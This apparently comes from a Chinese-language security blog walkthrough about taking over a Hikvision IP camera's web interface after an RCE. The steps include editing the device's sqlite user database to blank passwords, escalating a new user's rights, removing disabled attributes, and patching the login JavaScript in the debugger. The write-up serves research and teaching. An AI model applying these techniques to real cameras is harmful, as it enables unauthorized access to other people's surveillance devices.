根据上面链接,找到数据库位置 /devinfo/ipc_db
,是 sqlite3
数据库,可以使用 DB Broswer
打开,可以修改后覆盖原本的数据库,重启后生效
大家讨论出两种方案
resetParam
清空管理员的密码,默认用户 admin
user/userpass
) 加密后的结果直接写入到用户密码所在的表这两种情况看起来都能解决问题,但并不通用
第一种方法的 resetParam
并不见得在所有的情况下都有,或者说有,也不见得大家都能找到,找到了设备厂商也有可能设置了第二部校验;
第二种方法看似完美,但是前提是我们有已知的信息,如何获取信息可能是个问题,不能总是去买个设备或者找存在弱口令的设备
这两种方法都可以稍微再完善些,我提出一种较为通用的方案
将 passwd
的值记录保存并置空
:b0:f:2c:fa:d9:a6:42:2f:c5:5c:78:26:1f:6f:f3:39
当然,我们是可以搜索到这个设备的默认管理员用户为 admin
,从格式上看,用户名和密码采用的编码方式是一样的,所以将密码设置为用户名应该也是可以的,但这种事并不通用,常见的是密码加密,用户名不加密,所以我们还是选择将密码置空
保存
覆盖后重启设备
直接就让我们修改密码
成功登录后台
新建 user/user1234
尝试用新用户登录
此时新创建的用户权限并没有 admin
那么大
复制 admin
的权限给 user
,恢复 admin
的密码
可以看到,已经是管理员权限了,但是添加、删除用户还不能用,是灰色的,猜测可能是前端问题
将 disabled="disabled"
删除掉
这回看看功能是否可用了
添加一个普通用户 demo
尝试使用 demo
登录
我们可以试试操作员 demo
会不会存在权限问题,创建账户测试
还好,没有这种基础性错误
尝试使用 admin
原来的密码进行登录,看看是否恢复成功
成功登录
在很多系统中,直接修改数据库并不是直接让用户修改密码的,而是需要使用空密码进行登录,其实在这个系统上除了 admin
用户,也是一样的,前期测试的时候没有直接对 admin
下手,所以就遇到更加通用的情况,接下来将演示将 user
的密码清空,之后登录后台
重启后尝试使用 user
账户登录
这才是常规情况,我们将密码置空了,但是系统不允许空密码登录,我们可以看一下是前端不让还是后端,抓包
看来是前端的限制,我们是不是可以直接抓包,修改呢?
密码是加密后的,我们尝试置空
会引发格式错误,获取新的 sessionID
,之后直接删除掉 password
这个标签测试
还是格式错误,看来这并不是XML
的问题,而是接口规定了格式
没关系,前端问题的话,就从前端解决吧,正好之前给大家介绍过 javascript
逆向,这就当练习了
复制请求的 URL
http://192.168.1.64/ISAPI/Security/sessionLogin
添加 xhr
断点
使用 user
账户加任意密码,以 1234
为例,登录
可以看到,断点在图中箭头位置,控制台输出一下 b.hasContent
和b.data
可以看到到这里已经是加密后的数据了,从断点处根据调用堆栈向前找明文密码在哪里
可以一点一点向前追溯
可以看到在这个 doLogin
处出现了我们的明文密码 1234
,我们在此添加断点
释放 debug
,再次提交 user/1234
,网页在断点处停留
这里有个挺奇怪的一段话
"anonymous" === $scope.username && (a = "******")
没有理解这是要干什么,当然我是进行过登录尝试,没有成功,这里不是重点,我们在断点处修改变量 a
的值
释放断点,让程序继续执行
经过测试,这里的修改密码虽然有界面,但是并不会修改密码,所以我们直接选择取消
成功进入后台,我本以为 admin
账户也会经历这一段,没想到直接让重置密码了,所以这段主要是给大家做延伸性的展示
在上一节我们使用了数据库覆盖实现某些功能,在翻数据库的过程中,发现了其他有趣的表
security_config
这里涉及到很多配置,例如 web_auth
、ssh_enable
,我想起了这个漏洞的发现者曾提到过禁用web
认证,不知道是不是通过这里,我测试后发现没有效果,可能是这个设备不支持吧
https://watchfulip.github.io/2021/09/18/Hikvision-IP-Camera-Unauthenticated-RCE.html
但是在修改这些列的数据时,曾经触发过一次 Basic
认证,在 Basic
认证中可以直接使用 user
加上空密码进行登录,但是再次测试的时候就怎么也不出来了
socks_param
这个表不知道是系统本身可以开代理还是系统支持使用代理,我们尝试在后台看看有没有代理功能
并没有找到与 socks
相关的,所以这里要么是通用功能,只不过在这个小摄像头里没有,要么就是系统自带的代理功能,我们尝试修改数据库,看看能不能有意外惊喜
覆盖,重启
看来并不行,就到这里了
这下终于可以睡个好觉了...